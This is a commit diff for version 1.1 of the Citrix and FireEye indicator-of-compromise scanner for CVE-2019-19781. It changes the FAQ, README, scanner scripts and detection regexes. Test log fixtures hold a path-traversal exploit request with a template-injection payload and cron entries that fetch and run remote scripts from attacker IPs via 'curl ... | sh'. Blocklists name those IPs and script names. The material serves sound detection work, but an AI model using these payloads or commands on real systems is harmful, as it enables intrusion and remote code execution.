v1.1 release

FAQ.md

@@ -1,55 +1,63 @@
-In December, 2019, Citrix [advised customers](https://support.citrix.com/article/CTX267027) of a discovered vulnerability in Citrix Application Delivery Controller (ADC),
- formerly known as NetScaler ADC, and Citrix Gateway, formerly known as NetScaler Gateway, that, if exploited, 
- could allow an unauthenticated attacker to perform arbitrary code execution.
-Citrix issued [CVE-2019-19781](https://support.citrix.com/article/CTX267027) and issued a [mitigation](https://support.citrix.com/article/CTX267679) to address the vulnerability pending release of a patch.
-On January 19, 2020, Citrix began issuing patches for the identified vulnerability and have updated the CVE accordingly.   
-
-Citrix has partnered with FireEye Mandiant to develop a tool that leverages their knowledge of recent attacks against  CVE-2019-19781 to help organizations identify potential compromises.
-The tool utilizes Citrix's technical knowledge of the Citrix ADC and Gateway products and CVE-2019-19781 combined  Mandiant’s expertise in cyber forensics and recent learnings from CVE-2019-19781. You can find the tool and instructions [here](https://github.com/citrix/ioc-scanner-CVE-2019-19781)
-
-The FAQ below provides further information about the tool.
-
-
-## What is the purpose of this tool?
-This tool looks for known indicators of compromise on Citrix ADC, Gateway, and SD-WAN WANOP devices related to CVE-2019-19781. As with every forensics tool, the tool cannot guarantee completeness of all possible Indicators of Compromise but it will aim to detect Indicators of Compromise known to Citrix and FireEye.
-
-## What versions of ADC/Gateway/SD-WAN WANOP are supported?
-The tool supports ADC/Gateway on all models of MPX and VPX with versions - 10.5, 11.1, 12.0, 12.1 and 13.0 as well as SD-WAN WANOP models - 4000, 4100, 5000, and 5100
-
-## Does this tool need to be run on a live appliance?
-This tool can be run on live devices and also on a support bundle of the appliance offline.
-
-## How do I run the tool/utility?
-First, download the tool from the [Release tab](https://github.com/citrix/ioc-scanner-CVE-2019-19781/releases/tag/v1.0) of this repository.
-
-On a live device:
-  1. Using WinSCP or SSH, copy the tool to a writable directory on the device, such as `/tmp` or `/var`.
-  2. Execute the tool using a command like: `bash ioc-scanner-CVE-2019-19781-1.0.sh --verbose &> /tmp/output.txt`.
-     You can specify any name for the output file (above: `/tmp/output.txt`).
-     The flag `--verbose` enables Verbose Mode that identifies additional activity such as scanning and failed exploitation.
-     This mode may return results that don't directly indicate compromise; however, they provide more detail for consideration.
-  3. Export the output file using WinSCP or SSH.
-  4. Review the output file for evidence of compromise. You should look for terms like `MATCH` that surround high confidence findings.
-
-Against a mounted forensic image:
-  1. Execute the tool using a command like: `bash ioc-scanner-CVE-2019-19781-v1.0.sh /path/to/image/root/ --verbose &> /tmp/output.txt`.
-  2. Review the output file for evidence of compromise. You should look for terms like `MATCH` that surround high confidence findings.
-
-## How long does this tool take to complete the process?
-The tool takes generally 2-3 seconds to complete the process and provide the output file.
-If the log files are very large, the process may take longer.
-
-## Is there any impact of running this tool on an appliance which is live and handling traffic?
-This tool utilizes the management CPU cycles and the impact is expected to be minimal.
-
-## What if the utility reports that the appliance is compromised?
-Customers may to engage Mandiant or other forensic analysts for additional help with forensics. 
-Mandiant FireEye may be reached in the following ways:
-  1. Call the toll-free number at (866) 962-6342 or +1 703-996-3012 
-  2. Email investigations@mandiant.com
-
-Alternatively, the customer may engage any other security firms for forensic analysis.
-
-## If the tool does not report any instance of exploitation, does it mean that the appliance is safe?
-No. The tool searches for known indicators of compromise and cannot find all indicators.
-Also, the tool may not be able to detect some compromises, for example, where an attacker has modified logs.
+# Frequently Asked Questions
+
+(Please check the latest version of this FAQ [here](https://github.com/fireeye/ioc-scanner-CVE-2019-19781/wiki/Frequently-Asked-Questions))
+
+In December, 2019, [Citrix advised](https://support.citrix.com/article/CTX267027) customers of a discovered 
+ vulnerability in Citrix Application Delivery Controller (ADC),
+ formerly known as NetScaler ADC, and Citrix Gateway, formerly known as NetScaler Gateway, that, if exploited, 
+ could allow an unauthenticated attacker to perform arbitrary code execution.
+Citrix [issued CVE-2019-19781](https://support.citrix.com/article/CTX267027) and 
+  [issued a mitigation](https://support.citrix.com/article/CTX267679)
+ address the vulnerability pending release of a patch.
+On January 19, 2020, Citrix began issuing patches for the identified vulnerability and have updated the CVE accordingly.   
+
+Citrix has partnered with FireEye Mandiant to develop a tool that leverages their knowledge of recent attacks against  CVE-2019-19781 to help organizations identify potential compromises.
+The tool utilizes Citrix's technical knowledge of the Citrix ADC and Gateway products and CVE-2019-19781 combined  Mandiant’s expertise in cyber forensics and recent learnings from CVE-2019-19781.
+You can find the tool and instructions [here](https://github.com/fireeye/ioc-scanner-CVE-2019-19781/). 
+
+The FAQ below provides further information about the tool.
+
+
+## What is the purpose of this tool?
+This tool looks for known indicators of compromise on Citrix ADC, Gateway, and SD-WAN WANOP devices related to CVE-2019-19781. As with every forensics tool, the tool cannot guarantee completeness of all possible Indicators of Compromise but it will aim to detect Indicators of Compromise known to Citrix and FireEye.
+
+## What versions of ADC/Gateway/SD-WAN WANOP are supported?
+The tool supports ADC/Gateway on all models of MPX and VPX with versions - 10.5, 11.1, 12.0, 12.1 and 13.0 as well as SD-WAN WANOP models - 4000, 4100, 5000, and 5100
+
+## Does this tool need to be run on a live appliance?
+This tool can be run on live devices and also on a support bundle of the appliance offline.
+
+## How do I run the tool/utility?
+First, download the tool from the [Release tab](https://github.com/fireeye/ioc-scanner-CVE-2019-19781/releases/latest/) of this repository.
+
+On a live device:
+  1. Using WinSCP or SSH, copy the tool to a writable directory on the device, such as `/tmp` or `/var`.
+  2. Execute the tool using a command like: `bash ioc-scanner-CVE-2019-19781-1.0.sh --verbose &> /tmp/output.txt`.
+     You can specify any name for the output file (above: `/tmp/output.txt`).
+     The flag `--verbose` enables Verbose Mode that identifies additional activity such as scanning and failed exploitation.
+     This mode may return results that don't directly indicate compromise; however, they provide more detail for consideration.
+  3. Export the output file using WinSCP or SSH.
+  4. Review the output file for evidence of compromise. You should look for terms like `MATCH` that surround high confidence findings.
+
+Against a mounted forensic image:
+  1. Execute the tool using a command like: `bash ioc-scanner-CVE-2019-19781-v1.1.sh /path/to/image/root/ --verbose &> /tmp/output.txt`.
+  2. Review the output file for evidence of compromise. You should look for terms like `MATCH` that surround high confidence findings.
+
+## How long does this tool take to complete the process?
+The tool takes generally 2-3 seconds to complete the process and provide the output file.
+If the log files are very large, the process may take longer.
+
+## Is there any impact of running this tool on an appliance which is live and handling traffic?
+This tool utilizes the management CPU cycles and the impact is expected to be minimal.
+
+## What if the utility reports that the appliance is compromised?
+Customers may to engage Mandiant or other forensic analysts for additional help with forensics. 
+Mandiant FireEye may be reached in the following ways:
+  1. Call the toll-free number at (866) 962-6342 or +1 703-996-3012 
+  2. Email investigations@mandiant.com
+
+Alternatively, the customer may engage any other security firms for forensic analysis.
+
+## If the tool does not report any instance of exploitation, does it mean that the appliance is safe?
+No. The tool searches for known indicators of compromise and cannot find all indicators.
+Also, the tool may not be able to detect some compromises, for example, where an attacker has modified logs.

README.md

@@ -84,7 +84,7 @@ The tool must be run as `root` in live mode on a Citrix ADC Appliance.
 For example:
 
 ```sh
-$ sudo bash ./ioc-scanner-CVE-2019-19781-v1.0.sh > "/tmp/results-$(date).txt"
+$ sudo bash ./ioc-scanner-CVE-2019-19781-v1.1.sh > "/tmp/results-$(date).txt"
 ```
 
 The tool is designed to be used with the following products:
@@ -103,7 +103,7 @@ You don't have to be root to run in offline mode.
 For example:
 
 ```sh
-$ bash ./ioc-scanner-CVE-2019-19781-v1.0.sh /mnt/path/to/evidence/root/
+$ bash ./ioc-scanner-CVE-2019-19781-v1.1.sh /mnt/path/to/evidence/root/
 ```
 
 In both modes, the tool will extract supporting code into a temporary directory; this directory will be deleted upon termination of the script.
@@ -112,6 +112,7 @@ The tool does not make further changes to the system, although it may cause log
 Like all forensic analysis, prefer offline analysis against a `dd` image to live response.
 This will eliminate the likelihood that the tool causes relevant evidence to be overwritten.
 
+Please review the [Frequently Asked Questions](https://github.com/fireeye/ioc-scanner-CVE-2019-19781/wiki/Frequently-Asked-Questions) for further details.
 
 ## Contributing
 

ioc-scanner-CVE-2019-19781.sh

@@ -233,8 +233,9 @@ scanners[4]="scanners/access-logs.sh";
 scanners[5]="scanners/error-logs.sh";
 scanners[6]="scanners/netscaler-content.sh";
 scanners[7]="scanners/shell-history.sh";
-scanners[8]="scanners/successful-scanning.sh";
-scanners[9]="scanners/failed-exploitation.sh";
+scanners[8]="scanners/cron-history.sh";
+scanners[9]="scanners/successful-scanning.sh";
+scanners[10]="scanners/failed-exploitation.sh";
 
 info ""
 info "Next, the tool will load supporting scanning modules."
@@ -269,6 +270,11 @@ info "here we go...";
 info "";
 scan_shell_history;
 
+info "";
+info "The tool will now look for unexpected cron history entries.";
+info "";
+scan_cron_history;
+
 info "";
 info "The tool will now look for known paths to malware files.";
 info "";

scanners/access-logs.sh

@@ -12,10 +12,10 @@ declare -a success_regexes;
 #
 # these paths can be URL encoded, so we also match that.
 #
-# [GET or POST] [space] [any url prefix] /vpns/ [any url fragment].xml [space] HTTP/1.1" [space] [200 or 304]
-#                                         ^^^^ maybe encoded
-success_regexes[0]="(GET|POST)\s[^\s]*/(v|%76)(p|%70)(n|%6[Ee])(s|%73)/[^\s]*\.xml\sHTTP/1\.1\"\s(200|304)";
-success_regexes[1]="(GET|POST)\s[^\s]*/(v|%76)(p|%70)(n|%6[Ee])(s|%73)/[^\s]*\.pl\sHTTP/1\.1\"\s304"
+# [any method] [space] [any url prefix] /vpns/ [any url fragment].xml [any postfix, like query params] [space] HTTP/1.1" [space] [200 or 304]
+#                                        ^^^^ maybe encoded
+success_regexes[0]="\]\s\"[A-Z]{3,7}\s[^\s]*/(v|%76)(p|%70)(n|%6[Ee])(s|%73)/[^\s]*\.(x|%[57]8)(m|%[46]d)(l|%[46]c)[^\s]*\sHTTP/1\.1\"\s(200|304)";
+success_regexes[1]="(GET|POST)\s[^\s]*/(v|%76)(p|%70)(n|%6[Ee])(s|%73)/[^\s]*\.pl[^\s]*\sHTTP/1\.1\"\s304"
 
 # there are other patterns that can be effective at finding scanning and exploitation.
 # however, we're not convinced that they won't FP on simple scanning.

scanners/cron-history.sh

@@ -0,0 +1,40 @@
+# Copyright 2020 FireEye, Inc. and Citrix Systems, Inc.
+
+# FreeBSD/NetScaler bash doesn't support array declaration shortcut
+# so we create the array by hand... I'm sorry.
+declare -a cron_history_blacklist;
+cron_history_blacklist[0]="185.178.45.221"
+cron_history_blacklist[1]="62.113.112.33"
+cron_history_blacklist[2]="ci.sh"
+cron_history_blacklist[3]="ci2.sh"
+cron_history_blacklist[4]="ci3.sh"
+# anything by the user `nobody`
+cron_history_blacklist[5]="(nobody) CMD"
+
+declare -a cron_history_paths;
+cron_history_paths[0]="/var/log/cron";
+
+scan_cron_history() {
+    for path in "${cron_history_paths[@]}"; do
+        if  ! compgen -G "$root_directory/$path*" >/dev/null; then
+            debug "didn't find $path files";
+            continue;
+        fi
+
+        local found=false;
+        for re in "${cron_history_blacklist[@]}"; do
+            # /dev/null to ensure at least one of these files exists so zgrep doesn't fail
+            local entries=$(zgrep -F "$re" "$root_directory/$path"* /dev/null);
+            if [ -n "$entries" ]; then
+                found=true;
+                report_match "blacklisted content '$re'";
+                report "matches for '$re':";
+                report "$entries";
+            fi
+        done
+
+        if [ "$found" != true ]; then
+            debug "did not find blacklisted content in $path";
+        fi
+    done
+}

scanners/netscaler-content.sh

@@ -32,7 +32,8 @@ ns_content_blacklist[16]="scan.py";
 ns_content_blacklist[17]="x64.dll";
 ns_content_blacklist[18]="x86.dll";
 ns_content_blacklist[19]="xp_eternalblue.replay";
-ns_content_blacklist[20]="ld.sh";
+# match filename `ld.sh` without matching `build.sh`
+ns_content_blacklist[20]="[^i]ld.sh";
 ns_content_blacklist[21]="piz.Lan";
 ns_content_blacklist[22]="de.py";
 ns_content_blacklist[23]=".new.zip";
@@ -96,7 +97,9 @@ scan_ns_directory_perms() {
         return
     fi
 
-    local entries=$(find "$path" -perm 644);
+    # /var/vpn/bookmarks/ contains legit entries with prefix `bm_prefix_`
+    # on NetScaler versions after 13.0.47.24 (patch)
+    local entries=$(find "$path" -perm 644 | grep -v "bm_prefix_");
     if [ -n "$entries" ]; then
         report_match "incorrect file permissions";
         report "files with permissions 644:";

scanners/shell-history.sh

@@ -42,9 +42,17 @@ shell_history_blacklist[30]="/tmp/.init/httpd"
 shell_history_blacklist[30]="198.44.227.126"
 shell_history_blacklist[31]="/tmp/l.sh"
 shell_history_blacklist[32]="23.234.10.122"
+# reported by Slava Feige, Director, Cyber Analysis Western Digital
+shell_history_blacklist[33]="46.45.15.56"
+shell_history_blacklist[34]="157.157.87.22"
+shell_history_blacklist[35]="193.187.174.104"
+shell_history_blacklist[36]="62.113.112.33"
+shell_history_blacklist[37]="217.12.221.12"
+
 declare -a shell_history_paths;
 shell_history_paths[0]="/var/log/bash.log";
 shell_history_paths[1]="/var/log/notice.log";
+shell_history_paths[2]="/var/log/sh.log";
 
 scan_shell_history() {
     for path in "${shell_history_paths[@]}"; do
@@ -62,6 +70,11 @@ scan_shell_history() {
                 report_match "blacklisted content '$re'";
                 report "matches for '$re':";
                 report "$entries";
+                report "Please review the above shell history entries for unexpected activity.";
+                report "They match signatures commonly associated with post-exploitation;"
+                report "however, this may overlap with legitimate system administration."
+                report "If you recognize the commands as something you typed, then you can probably ignore them."
+                report "For example, reviewing '/etc/passwd' to manage users may be valid in your environment."
             fi
         done
 

scanners/successful-scanning.sh

@@ -2,9 +2,9 @@
 
 declare -a scanning_regexes;
 
-# [GET POST or HEAD] [space] [any url prefix] /vpns/ [any url postfix] .pl [space] HTTP/1.1" [200]
-#                                              ^^^^ may be encoded
-scanning_regexes[0]="(GET|POST|HEAD)\s[^\s]*/(v|%76)(p|%70)(n|%6[Ee])(s|%73)/[^ ]+\.(pl|conf).*HTTP/1\.1\"\s200";
+# [any method] [space] [any url prefix] /vpns/ [any url postfix] .pl [space] HTTP/1.1" [200]
+#                                        ^^^^ may be encoded
+scanning_regexes[0]="\]\s\"[A-Z]{3,7}\s[^\s]*/(v|%76)(p|%70)(n|%6[Ee])(s|%73)/[^ ]+\.(pl|conf).*HTTP/1\.1\"\s200";
 
 successful_scanning() {
     if [ ! -d "$root_directory/var/log/" ]; then

tests/access-logs/buffaloverflow/var/log/httpaccess.log

@@ -0,0 +1,3 @@
+# provided by @buffaloverflow
+127.0.0.1 - - [23/Jan/2020:22:30:19 +0000] "PUT /vpn/../vpns/portal/scripts/picktheme.pl HTTP/1.1" 200 27758 "-" "-"
+127.0.0.1 - - [23/Jan/2020:22:30:22 +0000] "PUT /vpn/../vpns/portal/lol[%25template.new({'BLOCK'%3d'print`id`'})%25].xml HTTP/1.1" 200 753 "-" "-

tests/access-logs/query-params/var/log/httpaccess.log

@@ -0,0 +1,2 @@
+127.0.0.1 - - [18/Jan/2020:00:15:29 +0000] "GET /vpn/../vpns/portal/12345678.xml?foo=bar HTTP/1.1" 200 71875 "-" "python-requests/2.18.4"
+127.0.0.1 - - [17/Jan/2020:20:07:22 +0000] "GET /vpn/../vpns/portal/NIGkDs7jfV4qTnX1tF5my9gPM3Bz0JpH.xml?foo=bar HTTP/1.1" 200 - "-" "python-requests/2.21.0"

tests/cron-history/ci-sh/var/log/cron

@@ -0,0 +1,6 @@
+Jan 19 23:00:06 Stage-NS01 newsyslog[14448]: logfile turned over due to size>100K
+Jan 19 23:00:06 <cron.info> Stage-NS01 /usr/sbin/cron[14451]: (nobody) CMD (curl http://185.178.45.221/ci.sh | sh > /dev/null 2>&1)
+Jan 19 23:01:05 <cron.info> Stage-NS01 /usr/sbin/cron[14605]: (root) CMD (   nsfsyncd -p)
+Jan 19 23:01:05 <cron.info> Stage-NS01 /usr/sbin/cron[14606]: (nobody) CMD (curl http://62.113.112.33/ci.sh | sh > /dev/null 2>&1)
+Jan 19 23:01:05 <cron.info> Stage-NS01 /usr/sbin/cron[14607]: (nobody) CMD (curl http://185.178.45.221/ci.sh | sh > /dev/null 2>&1)
+Jan 19 23:02:06 <cron.info> Stage-NS01 /usr/sbin/cron[14767]: (root) CMD (   nsfsyncd -p)

tests/cron-history/nobody-user/var/log/cron

@@ -0,0 +1,2 @@
+Jan 19 23:00:06 Stage-NS01 newsyslog[14448]: logfile turned over due to size>100K
+Jan 19 23:00:06 <cron.info> Stage-NS01 /usr/sbin/cron[14451]: (nobody) CMD (ls /)